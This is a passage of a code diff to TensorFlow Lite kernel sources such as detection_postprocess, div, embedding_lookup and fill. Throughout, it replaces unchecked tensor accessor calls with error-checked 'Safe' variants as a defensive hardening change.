-  const TfLiteTensor* filter = GetInput(context, node, kFilterTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* filter;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFilterTensor, &filter));
   const TfLiteTensor* bias =
       (NumInputs(node) == 3) ? GetInput(context, node, kBiasTensor) : nullptr;
   TFLITE_DCHECK_EQ(input_type, input->type);
@@ -547,7 +571,8 @@ TfLiteStatus EvalImpl(TfLiteContext* context, TfLiteNode* node) {
 
 template <KernelType kernel_type>
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
 
   switch (input->type) {  // Already know in/out types are same.
     case kTfLiteFloat32:
diff --git a/tensorflow/lite/kernels/detection_postprocess.cc b/tensorflow/lite/kernels/detection_postprocess.cc
index c0b5b2ddf7c68b..3e1b7a3a034331 100644
--- a/tensorflow/lite/kernels/detection_postprocess.cc
+++ b/tensorflow/lite/kernels/detection_postprocess.cc
@@ -146,12 +146,17 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   auto* op_data = static_cast<OpData*>(node->user_data);
   // Inputs: box_encodings, scores, anchors
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 3);
-  const TfLiteTensor* input_box_encodings =
-      GetInput(context, node, kInputTensorBoxEncodings);
-  const TfLiteTensor* input_class_predictions =
-      GetInput(context, node, kInputTensorClassPredictions);
-  const TfLiteTensor* input_anchors =
-      GetInput(context, node, kInputTensorAnchors);
+  const TfLiteTensor* input_box_encodings;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorBoxEncodings,
+                                 &input_box_encodings));
+  const TfLiteTensor* input_class_predictions;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorClassPredictions,
+                                 &input_class_predictions));
+  const TfLiteTensor* input_anchors;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensorAnchors,
+                                          &input_anchors));
   TF_LITE_ENSURE_EQ(context, NumDimensions(input_box_encodings), 3);
   TF_LITE_ENSURE_EQ(context, NumDimensions(input_class_predictions), 3);
   TF_LITE_ENSURE_EQ(context, NumDimensions(input_anchors), 2);
@@ -163,27 +168,35 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // num_detections
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 4);
   // Output Tensor detection_boxes: size is set to (1, num_detected_boxes, 4)
-  TfLiteTensor* detection_boxes =
-      GetOutput(context, node, kOutputTensorDetectionBoxes);
+  TfLiteTensor* detection_boxes;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensorDetectionBoxes,
+                                  &detection_boxes));
   detection_boxes->type = kTfLiteFloat32;
   SetTensorSizes(context, detection_boxes,
                  {kBatchSize, num_detected_boxes, kNumCoordBox});
 
   // Output Tensor detection_classes: size is set to (1, num_detected_boxes)
-  TfLiteTensor* detection_classes =
-      GetOutput(context, node, kOutputTensorDetectionClasses);
+  TfLiteTensor* detection_classes;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensorDetectionClasses,
+                                  &detection_classes));
   detection_classes->type = kTfLiteFloat32;
   SetTensorSizes(context, detection_classes, {kBatchSize, num_detected_boxes});
 
   // Output Tensor detection_scores: size is set to (1, num_detected_boxes)
-  TfLiteTensor* detection_scores =
-      GetOutput(context, node, kOutputTensorDetectionScores);
+  TfLiteTensor* detection_scores;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensorDetectionScores,
+                                  &detection_scores));
   detection_scores->type = kTfLiteFloat32;
   SetTensorSizes(context, detection_scores, {kBatchSize, num_detected_boxes});
 
   // Output Tensor num_detections: size is set to 1
-  TfLiteTensor* num_detections =
-      GetOutput(context, node, kOutputTensorNumDetections);
+  TfLiteTensor* num_detections;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensorNumDetections,
+                                  &num_detections));
   num_detections->type = kTfLiteFloat32;
   // TODO (chowdhery): Make it a scalar when available
   SetTensorSizes(context, num_detections, {1});
@@ -269,13 +282,16 @@ T ReInterpretTensor(TfLiteTensor* tensor) {
 TfLiteStatus DecodeCenterSizeBoxes(TfLiteContext* context, TfLiteNode* node,
                                    OpData* op_data) {
   // Parse input tensor boxencodings
-  const TfLiteTensor* input_box_encodings =
-      GetInput(context, node, kInputTensorBoxEncodings);
+  const TfLiteTensor* input_box_encodings;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorBoxEncodings,
+                                 &input_box_encodings));
   TF_LITE_ENSURE_EQ(context, input_box_encodings->dims->data[0], kBatchSize);
   const int num_boxes = input_box_encodings->dims->data[1];
   TF_LITE_ENSURE(context, input_box_encodings->dims->data[2] >= kNumCoordBox);
-  const TfLiteTensor* input_anchors =
-      GetInput(context, node, kInputTensorAnchors);
+  const TfLiteTensor* input_anchors;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensorAnchors,
+                                          &input_anchors));
 
   // Decode the boxes to get (ymin, xmin, ymax, xmax) based on the anchors
   CenterSizeEncoding box_centersize;
@@ -389,8 +405,10 @@ TfLiteStatus NonMaxSuppressionSingleClassHelper(
     TfLiteContext* context, TfLiteNode* node, OpData* op_data,
     const std::vector<float>& scores, std::vector<int>* selected,
     int max_detections) {
-  const TfLiteTensor* input_box_encodings =
-      GetInput(context, node, kInputTensorBoxEncodings);
+  const TfLiteTensor* input_box_encodings;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorBoxEncodings,
+                                 &input_box_encodings));
   const TfLiteTensor* decoded_boxes =
       &context->tensors[op_data->decoded_boxes_index];
   const int num_boxes = input_box_encodings->dims->data[1];
@@ -468,21 +486,33 @@ TfLiteStatus NonMaxSuppressionMultiClassRegularHelper(TfLiteContext* context,
                                                       TfLiteNode* node,
                                                       OpData* op_data,
                                                       const float* scores) {
-  const TfLiteTensor* input_box_encodings =
-      GetInput(context, node, kInputTensorBoxEncodings);
-  const TfLiteTensor* input_class_predictions =
-      GetInput(context, node, kInputTensorClassPredictions);
+  const TfLiteTensor* input_box_encodings;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorBoxEncodings,
+                                 &input_box_encodings));
+  const TfLiteTensor* input_class_predictions;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorClassPredictions,
+                                 &input_class_predictions));
   const TfLiteTensor* decoded_boxes =
       &context->tensors[op_data->decoded_boxes_index];
 
-  TfLiteTensor* detection_boxes =
-      GetOutput(context, node, kOutputTensorDetectionBoxes);
-  TfLiteTensor* detection_classes =
-      GetOutput(context, node, kOutputTensorDetectionClasses);
-  TfLiteTensor* detection_scores =
-      GetOutput(context, node, kOutputTensorDetectionScores);
-  TfLiteTensor* num_detections =
-      GetOutput(context, node, kOutputTensorNumDetections);
+  TfLiteTensor* detection_boxes;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensorDetectionBoxes,
+                                  &detection_boxes));
+  TfLiteTensor* detection_classes;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensorDetectionClasses,
+                                  &detection_classes));
+  TfLiteTensor* detection_scores;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensorDetectionScores,
+                                  &detection_scores));
+  TfLiteTensor* num_detections;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensorNumDetections,
+                                  &num_detections));
 
   const int num_boxes = input_box_encodings->dims->data[1];
   const int num_classes = op_data->num_classes;
@@ -595,21 +625,33 @@ TfLiteStatus NonMaxSuppressionMultiClassFastHelper(TfLiteContext* context,
                                                    TfLiteNode* node,
                                                    OpData* op_data,
                                                    const float* scores) {
-  const TfLiteTensor* input_box_encodings =
-      GetInput(context, node, kInputTensorBoxEncodings);
-  const TfLiteTensor* input_class_predictions =
-      GetInput(context, node, kInputTensorClassPredictions);
+  const TfLiteTensor* input_box_encodings;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorBoxEncodings,
+                                 &input_box_encodings));
+  const TfLiteTensor* input_class_predictions;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorClassPredictions,
+                                 &input_class_predictions));
   const TfLiteTensor* decoded_boxes =
       &context->tensors[op_data->decoded_boxes_index];
 
-  TfLiteTensor* detection_boxes =
-      GetOutput(context, node, kOutputTensorDetectionBoxes);
-  TfLiteTensor* detection_classes =
-      GetOutput(context, node, kOutputTensorDetectionClasses);
-  TfLiteTensor* detection_scores =
-      GetOutput(context, node, kOutputTensorDetectionScores);
-  TfLiteTensor* num_detections =
-      GetOutput(context, node, kOutputTensorNumDetections);
+  TfLiteTensor* detection_boxes;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensorDetectionBoxes,
+                                  &detection_boxes));
+  TfLiteTensor* detection_classes;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensorDetectionClasses,
+                                  &detection_classes));
+  TfLiteTensor* detection_scores;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensorDetectionScores,
+                                  &detection_scores));
+  TfLiteTensor* num_detections;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensorNumDetections,
+                                  &num_detections));
 
   const int num_boxes = input_box_encodings->dims->data[1];
   const int num_classes = op_data->num_classes;
@@ -680,10 +722,14 @@ void DequantizeClassPredictions(const TfLiteTensor* input_class_predictions,
 TfLiteStatus NonMaxSuppressionMultiClass(TfLiteContext* context,
                                          TfLiteNode* node, OpData* op_data) {
   // Get the input tensors
-  const TfLiteTensor* input_box_encodings =
-      GetInput(context, node, kInputTensorBoxEncodings);
-  const TfLiteTensor* input_class_predictions =
-      GetInput(context, node, kInputTensorClassPredictions);
+  const TfLiteTensor* input_box_encodings;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorBoxEncodings,
+                                 &input_box_encodings));
+  const TfLiteTensor* input_class_predictions;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorClassPredictions,
+                                 &input_class_predictions));
   const int num_boxes = input_box_encodings->dims->data[1];
   const int num_classes = op_data->num_classes;
   TF_LITE_ENSURE_EQ(context, input_class_predictions->dims->data[0],
diff --git a/tensorflow/lite/kernels/div.cc b/tensorflow/lite/kernels/div.cc
index c9eb1db531a647..f744b4ba1b7f63 100644
--- a/tensorflow/lite/kernels/div.cc
+++ b/tensorflow/lite/kernels/div.cc
@@ -74,9 +74,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_TYPES_EQ(context, input1->type, input2->type);
   output->type = input2->type;
@@ -200,9 +206,15 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params = reinterpret_cast<TfLiteDivParams*>(node->builtin_data);
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (output->type == kTfLiteFloat32 || output->type == kTfLiteInt32) {
     EvalDiv<kernel_type>(context, node, params, data, input1, input2, output);
diff --git a/tensorflow/lite/kernels/elementwise.cc b/tensorflow/lite/kernels/elementwise.cc
index d23cdedc6c889d..40f13002b8e444 100644
--- a/tensorflow/lite/kernels/elementwise.cc
+++ b/tensorflow/lite/kernels/elementwise.cc
@@ -66,8 +66,10 @@ template <IsSupportedType is_supported_type, const char* op_name>
 TfLiteStatus GenericPrepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);
   if (!is_supported_type(input->type)) {
     TF_LITE_UNSUPPORTED_TYPE(context, input->type, op_name);
@@ -114,8 +116,10 @@ template <typename T>
 inline TfLiteStatus EvalImpl(TfLiteContext* context, TfLiteNode* node,
                              std::function<T(T)> func,
                              TfLiteType expected_type) {
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, expected_type);
   const int64_t num_elements = NumElements(input);
   const T* in_data = GetTensorData<T>(input);
diff --git a/tensorflow/lite/kernels/embedding_lookup.cc b/tensorflow/lite/kernels/embedding_lookup.cc
index 36e0737c7e2830..d865f69eb9bd3c 100644
--- a/tensorflow/lite/kernels/embedding_lookup.cc
+++ b/tensorflow/lite/kernels/embedding_lookup.cc
@@ -46,14 +46,17 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* lookup = GetInput(context, node, 0);
+  const TfLiteTensor* lookup;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &lookup));
   TF_LITE_ENSURE_EQ(context, NumDimensions(lookup), 1);
   TF_LITE_ENSURE_EQ(context, lookup->type, kTfLiteInt32);
 
-  const TfLiteTensor* value = GetInput(context, node, 1);
+  const TfLiteTensor* value;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &value));
   TF_LITE_ENSURE(context, NumDimensions(value) >= 2);
 
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   TfLiteIntArray* outputSize = TfLiteIntArrayCreate(NumDimensions(value));
 
   outputSize->data[0] = SizeOfDimension(lookup, 0);
@@ -129,9 +132,12 @@ TfLiteStatus EvalHybrid(TfLiteContext* context, TfLiteNode* node,
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* lookup = GetInput(context, node, 0);
-  const TfLiteTensor* value = GetInput(context, node, 1);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* lookup;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &lookup));
+  const TfLiteTensor* value;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &value));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   switch (value->type) {
     case kTfLiteFloat32:
       return EvalSimple(context, node, lookup, value, output);
diff --git a/tensorflow/lite/kernels/embedding_lookup_sparse.cc b/tensorflow/lite/kernels/embedding_lookup_sparse.cc
index 745b5090094687..e9ad7e50cf1337 100644
--- a/tensorflow/lite/kernels/embedding_lookup_sparse.cc
+++ b/tensorflow/lite/kernels/embedding_lookup_sparse.cc
@@ -83,19 +83,23 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 5);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* ids = GetInput(context, node, 0);
+  const TfLiteTensor* ids;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &ids));
   TF_LITE_ENSURE_EQ(context, NumDimensions(ids), 1);
   TF_LITE_ENSURE_EQ(context, ids->type, kTfLiteInt32);
 
-  const TfLiteTensor* indices = GetInput(context, node, 1);
+  const TfLiteTensor* indices;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &indices));
   TF_LITE_ENSURE_EQ(context, NumDimensions(indices), 2);
   TF_LITE_ENSURE_EQ(context, indices->type, kTfLiteInt32);
 
-  const TfLiteTensor* shape = GetInput(context, node, 2);
+  const TfLiteTensor* shape;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 2, &shape));
   TF_LITE_ENSURE_EQ(context, NumDimensions(shape), 1);
   TF_LITE_ENSURE_EQ(context, shape->type, kTfLiteInt32);
 
-  const TfLiteTensor* weights = GetInput(context, node, 3);
+  const TfLiteTensor* weights;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 3, &weights));
   TF_LITE_ENSURE_EQ(context, NumDimensions(weights), 1);
   TF_LITE_ENSURE_EQ(context, weights->type, kTfLiteFloat32);
 
@@ -104,11 +108,13 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, SizeOfDimension(indices, 0),
                     SizeOfDimension(weights, 0));
 
-  const TfLiteTensor* value = GetInput(context, node, 4);
+  const TfLiteTensor* value;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 4, &value));
   TF_LITE_ENSURE(context, NumDimensions(value) >= 2);
 
   // Mark the output as a dynamic tensor.
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   TF_LITE_ENSURE_TYPES_EQ(context, output->type, kTfLiteFloat32);
   output->allocation_type = kTfLiteDynamic;
 
@@ -140,12 +146,18 @@ void FinalizeAggregation(TfLiteCombinerType combiner, int num_elements,
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params =
       reinterpret_cast<TfLiteEmbeddingLookupSparseParams*>(node->builtin_data);
-  TfLiteTensor* output = GetOutput(context, node, 0);
-  const TfLiteTensor* ids = GetInput(context, node, 0);
-  const TfLiteTensor* indices = GetInput(context, node, 1);
-  const TfLiteTensor* dense_shape = GetInput(context, node, 2);
-  const TfLiteTensor* weights = GetInput(context, node, 3);
-  const TfLiteTensor* value = GetInput(context, node, 4);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
+  const TfLiteTensor* ids;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &ids));
+  const TfLiteTensor* indices;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &indices));
+  const TfLiteTensor* dense_shape;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 2, &dense_shape));
+  const TfLiteTensor* weights;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 3, &weights));
+  const TfLiteTensor* value;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 4, &value));
 
   const int lookup_rank = SizeOfDimension(indices, 1);
   const int embedding_rank = NumDimensions(value);
diff --git a/tensorflow/lite/kernels/expand_dims.cc b/tensorflow/lite/kernels/expand_dims.cc
index 721ab3d510a526..950131c8d693b8 100644
--- a/tensorflow/lite/kernels/expand_dims.cc
+++ b/tensorflow/lite/kernels/expand_dims.cc
@@ -73,9 +73,12 @@ TfLiteStatus GetAxisValueFromTensor(TfLiteContext* context,
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* input = GetInput(context, node, kInput);
-  const TfLiteTensor* axis = GetInput(context, node, kAxis);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInput, &input));
+  const TfLiteTensor* axis;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kAxis, &axis));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   output->type = input->type;
   if (IsConstantTensor(axis)) {
     int axis_value;
@@ -89,9 +92,12 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   // Just copy input to output.
-  const TfLiteTensor* input = GetInput(context, node, kInput);
-  TfLiteTensor* output = GetOutput(context, node, 0);
-  const TfLiteTensor* axis = GetInput(context, node, kAxis);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInput, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
+  const TfLiteTensor* axis;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kAxis, &axis));
   if (IsDynamicTensor(output)) {
     int axis_value;
     TF_LITE_ENSURE_OK(context,
diff --git a/tensorflow/lite/kernels/fill.cc b/tensorflow/lite/kernels/fill.cc
index 68ec3e9eca3c85..5bf2bc6489cc01 100644
--- a/tensorflow/lite/kernels/fill.cc
+++ b/tensorflow/lite/kernels/fill.cc
@@ -72,8 +72,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* dims = GetInput(context, node, kDimsTensor);
-  const TfLiteTensor* value = GetInput(context, node, kValueTensor);
+  const TfLiteTensor* dims;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kDimsTensor, &dims));
+  const TfLiteTensor* value;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kValueTensor, &value));
 
   // Make sure the 1st input tensor is 1-D.
   TF_LITE_ENSURE_EQ(context, NumDimensions(dims), 1);
@@ -85,7 +87,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // Make sure the 2nd input tensor is a scalar.
   TF_LITE_ENSURE_EQ(context, NumDimensions(value), 0);
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   output->type = value->type;
 
   if (IsConstantTensor(dims)) {
@@ -111,12 +115,16 @@ TfLiteStatus FillString(const TfLiteTensor* value, TfLiteTensor* output) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* value = GetInput(context, node, kValueTensor);
+  const TfLiteTensor* value;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kValueTensor, &value));
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (IsDynamicTensor(output)) {
-    const TfLiteTensor* dims = GetInput(context, node, kDimsTensor);
+    const TfLiteTensor* dims;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kDimsTensor, &dims));
     TF_LITE_ENSURE_OK(context, ResizeOutput(context, dims, output));
   }
 #define TF_LITE_FILL(data_type)                                               \
diff --git a/tensorflow/lite/kernels/floor.cc b/tensorflow/lite/kernels/floor.cc
index d629b48d1a6bd5..1151136b7f9e5b 100644
--- a/tensorflow/lite/kernels/floor.cc
+++ b/tensorflow/lite/kernels/floor.cc
@@ -35,8 +35,11 @@ enum KernelType {
 };
 
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, kTfLiteFloat32);
@@ -47,8 +50,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
 template <KernelType type>
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (type == kGenericOptimized) {
     optimized_ops::Floor(GetTensorShape(input), GetTensorData<float>(input),
diff --git a/tensorflow/lite/kernels/floor_div.cc b/tensorflow/lite/kernels/floor_div.cc
index 24682fdebe1365..19b806c91d593b 100644
--- a/tensorflow/lite/kernels/floor_div.cc
+++ b/tensorflow/lite/kernels/floor_div.cc
@@ -64,9 +64,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // Reinterprete the opaque data provided by user.
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_TYPES_EQ(context, input1->type, input2->type);
 
@@ -126,9 +132,15 @@ TfLiteStatus EvalImpl(TfLiteContext* context, bool requires_broadcast,
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   switch (input1->type) {
     case kTfLiteInt32: {
diff --git a/tensorflow/lite/kernels/floor_mod.cc b/tensorflow/lite/kernels/floor_mod.cc
index a4bc9fa9841d7f..e8e2176bcedffd 100644
--- a/tensorflow/lite/kernels/floor_mod.cc
+++ b/tensorflow/lite/kernels/floor_mod.cc
@@ -58,9 +58,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // Reinterprete the opaque data provided by user.
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_TYPES_EQ(context, input1->type, input2->type);
 
@@ -120,9 +126,15 @@ TfLiteStatus EvalImpl(TfLiteContext* context, bool requires_broadcast,
